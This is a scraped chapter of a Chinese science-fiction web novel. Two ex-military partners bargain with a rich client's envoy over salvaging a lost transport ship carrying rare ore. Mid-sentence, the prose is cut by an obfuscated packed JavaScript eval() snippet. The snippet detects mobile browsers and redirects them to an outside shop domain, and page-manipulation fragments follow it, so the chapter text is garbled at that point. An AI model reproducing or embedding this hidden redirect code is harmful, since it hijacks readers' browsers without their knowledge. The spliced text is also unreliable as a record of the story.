文趣网 > 其他小说 > 联盟长官叛逃中 > 8. 不养闲人
    第二天一早下楼,郁柏歆就看到了正站在窗台边浇花的付涔。

    这位的养花天赋堪称诡异,在这种极端条件下,他可以把盆里的东西养活至今,但又始终保持在这种堪堪吊着口气半死不活的状态。

    活又活不好,死又死不了。

    不知道在这儿折磨谁。

    听到身后的动静,付涔把水壶放下,挑刺似的看了眼时间——7:59。

    而在郁柏歆走到餐桌边时,恰好跳到八点整,跟精心计算过似的。

    很好,付涔面无表情地磨牙。

    郁柏歆则毫无自觉地拉开椅子坐下,敲了敲桌面,语气像预约高级餐厅就餐正等人服务的大爷:“说好的早餐?”

    付涔盯了他半晌,试图用眼神进行谴责。然而郁柏歆眼都没抬,把装聋作哑四个字完美演绎。

    半分钟中,付涔终于没脾气了:“冰箱第二层。”

    这回郁柏歆倒是没等人送到他跟前,起身去拿。

    付涔看着他的背影,忍不住问:“只喝液体和营养剂,你的胃确定没有问题?”

    “至少医院还没下标红报告。”

    从剩下几根玻璃瓶中抽出一支,郁柏歆倒是没挑剔什么,侧身回答:“那就是不严重。”

    放屁吧。

    付涔怀疑现在的年轻人脑子里缺根弦,半块软面包只能咬一口,离把原装胃摘了换新的也不远了。

    把营养剂一口喝完,郁柏歆注意到搭在椅背上的外套:“你要出门?”

    “不是我,你也得一起。”付涔拎起外套:

    “说了我这不养闲人,起来干活。”

    今天没了闹事的,闹市区就只剩了冷清。零星几个摊主坐在那昏昏欲睡,谁来都懒得搭理。

    程土倒是一脸淡定地擦着桌上的摆件,看见走过来的付涔和他身后的陌生面孔,率先开口:“来了?”

    他没问郁柏歆的底细。

    说实话这片集中区很小,有心的话总能得到风声,更何况还有邻居那一出,昨晚的动静也有不少人注意到。

    但和自己无关的事没必要细究,这点大部分人心照不宣。

    付涔明显也清楚这点,直接略过这个话题:“上次说的事有消息了?”

    “委托方同意了,但他本人不会到场,是派人过来。”程土把一张卡放到付涔眼前:“三十分钟后隔壁酒馆,这是包间号。”

    拿起卡片看了眼,付涔没急着走:“能交个底吗?”

    程土擦东西的手顿了一下,没看他,朝桌边堆得乱七八糟的面具抬了抬下巴:“第二张半价。”

    这种模棱两可且说一半藏一半的对话方式对于时常出入各类星球,动不动就接触各种乱七八糟的团伙的前任军部指挥官来说实在没什么理解门槛,但郁柏歆懒得理会。

    毕竟活不是他揽下来的,如果只是帮忙,他一向只负责配合,除非要踩进明晃晃的大坑外,很少给意见。

    所以他并没放太多注意力在对话上,而是在看不远处几个鬼鬼祟祟围在一起,还自以为藏得很好的家伙。

    从刚才起,他们就一直盯着街上的各个路口,好像在找什么人。

    视线忽然被挡住。

    紧接着,质感略显粗糙的白色面具便扣在了脸上。

    郁柏歆的手下意识动了下,但很快反应过来,透过劣质面具看向身侧正把另一张面具往他自己脸上戴的人。

    “那几位是当地的地头蛇,脑子没多少,但从上到下都神经兮兮的,没事少看。”付涔评价。

    郁柏歆不置可否:“准备去哪?”

    付涔看了眼时间,干脆道:“去喝酒。”

    到达的地方说是酒馆,但隔着不仔细找根本不会注意到的小门,里面黑乎乎一片,连个标点符号都看不见一点,谁不说一句是个分尸销赃的好去处。

    但不得不承认,和他们脸上这个见了鬼似的石膏面具还挺合拍。

    听到有人进门,原本角落躺椅里的人不耐烦地抬头看过去,紧接着从鼻子喷了口气:“有房号?”

    他对两人藏头露尾的造型毫无表示,明显见过不少世面。

    “有。”付涔扬了扬手里的卡片,挑眉道:“老板,现在能点酒水吗?”

    老板躺回躺椅,毫不犹豫:“不能。”

    由于老板的过分懒惰,白天酗酒的打算就这么被扼杀在了摇篮里。

    付涔用房卡刷开房间,在看到里面西装革履的人影时,难得愣了一下。

    离约定时间还有至少十五分钟,委托方急切地出乎预料。

    跟在后面的郁柏歆同样挑眉,目光在对方领口处停留一瞬,伸手将脸上的面具按了按。

    “您就是付一,付先生吧。”一身西装肉眼可见价值不菲的年轻人看到两张白粉似的脸先是愣了一下,但很快站起身,象征性微笑:“两位是一起的?”

    “是啊,我俩是专业团伙。”

    年轻人高高在上的神情扭曲了一下,付涔没搭理他,反手把门关上,注意到桌上的一沓资料:“这些都是老板的要求?”

    “是。”年轻人咽下了这口气,很快调整好表情,扯起假笑:“不知道付先生有没有了解过,野生的蓝晶铁十分少见,运气不好几年也遇不到一次。”

    “所以?”郁柏歆忽然接道。

    没什么情绪的时候,他的声音和气质其实很冷。

    这就是为什么虽然郁长官年轻有为,还有一张让人嫉妒的好脸,但手下总留不住年轻人的原因。

    初出茅庐的小孩哪怕在军校再狂再优秀,被塞到完全陌生的环境也有点蒙,犯错在所难免。

    每当这种时候,坐在指挥室内的郁长官抽空抬头瞥你一眼,“三分钟,解释”几个仿佛淬了冰的字,能直接让人道心破碎。

    据统计,郁柏歆带队三年,能从指挥官办公室走出还强撑着没破防的军校优秀毕业生一只手就能数出来。

    有幸存者后来形容,当时办公室内温度低的能养活企鹅,他膝盖一软,差点跪下叫爸爸。

    此时莫名觉得屋里变冷的年轻人就有这种感觉。

    他即将出口的话不自觉卡了一下,回过神后面子上挂不住,猛地沉下脸:“我不清楚两位要求见面的理由是什么,但我们老板会答应的原因很简单。你们可以提出你们的要求,而相对的,我们也有条件。”

    付涔:“嗯嗯,你说。”

    “这次行动你们必须全程保密,并且和我们的技术人员保持联系。”他的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734007|209016||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    语气紧绷着有些发冷:“我们清楚蓝晶矿的数量稀少,也并没有为难的意思。为表诚意,如果确定要接,我们可以提供一个可能的坐标范围,你们可以直接去碰碰运气,如果能找到这次委托就算完成。”

    付涔:“坐标?你们哪来的消息?”

    “我没有理由告知细节,付先生。”

    自以为重新握住主动权,年轻人又恢复了高高在上的姿态,可还没等他继续说下去,就被另一道声音打断。

    “我听说上个月有一艘运输舰在锈铁星附近失联了。”

    年轻人:“……”

    付涔改侧头去看郁柏歆,奇了:“你也有门路?”

    通个网多看看社会新闻,什么门路都有了。

    郁柏歆懒得说他,抱臂靠在墙边,言简意赅:“联盟中矿集团,ACMG的运输舰,穿过外环星系时遭遇了磁场干扰。”

    “大公司啊……”付涔的语气微妙起来,短短一瞬,无数思绪从他脑海闪过。

    “事发当时他们就找人探查过,但至今没有回收消息。这种大集团选择放弃回收只有两个原因,要么是东西不值钱,要么代价远大于收益。”

    说到这,郁柏歆抬眸看向那个脸上闪过明显异色的年轻人:“我不知道你们从哪得来的消息,但如果那艘船里的东西真是蓝晶铁却最终被放弃……”

    “说明坐标位置挺深的吧?”付涔接道,眉眼间忽然带上点促狭,拉开椅子起身。

    “这位很酷的同伙。”他说:“我忽然觉得某位老板所谓的诚意发大水了,你怎么看?”

    郁柏歆并不想配合:“我睁着眼看。”

    付涔啧了一声。

    眼看形势不对,年轻人脸色一僵:“两位什么意思?”

    “意思是找人干苦力还藏着掖着,什么都不知道的就去买命很没有安全感啊。”付涔一手搭着房门扶手,似笑非笑:“况且涉及联盟最大的矿产集团,一个不小心追责起来,风险太大了。”

    郁柏歆则更干脆,单手插兜直起身:“走?”

    “等等!”

    没料到两人说走就要走,年轻人终于急了。

    付涔开门的动作微顿,侧头看他:“嗯?”

    年轻人站在原地,盛气凌人的姿态终于褪了,脸色青白变幻,犹疑不定很久了才仿佛下定决心。

    “我们要找的确实是那艘船。”

    他说:“据我们得到的消息,ACMG已经确认放弃捕捞,所以你们完全可以放心,不存在后续追责问题。”

    “我们的最低要求是那艘船的坐标。”他又强调了一遍:“如果你们能把内部的蓝晶铁带出来,价格可以翻倍。我们只要蓝晶铁,除此之外的其他东西都可以归你们。”

    听完他的条件,付涔故作思考片刻,随后懒洋洋地在郁柏歆眼前打了个叫魂似的响指,问道:“怎么样,同伙?”

    站在门边的郁柏歆终于抬了下眼:“原本的价格是?”

    付涔看他:“3万流通币。”

    “流通币?”郁柏歆明显对这个价格不满意,当场推翻:“换成首都币。”

    年轻人松了口气,可这口气还没松到底,就听那人毫无起伏的补充:

    “双倍。”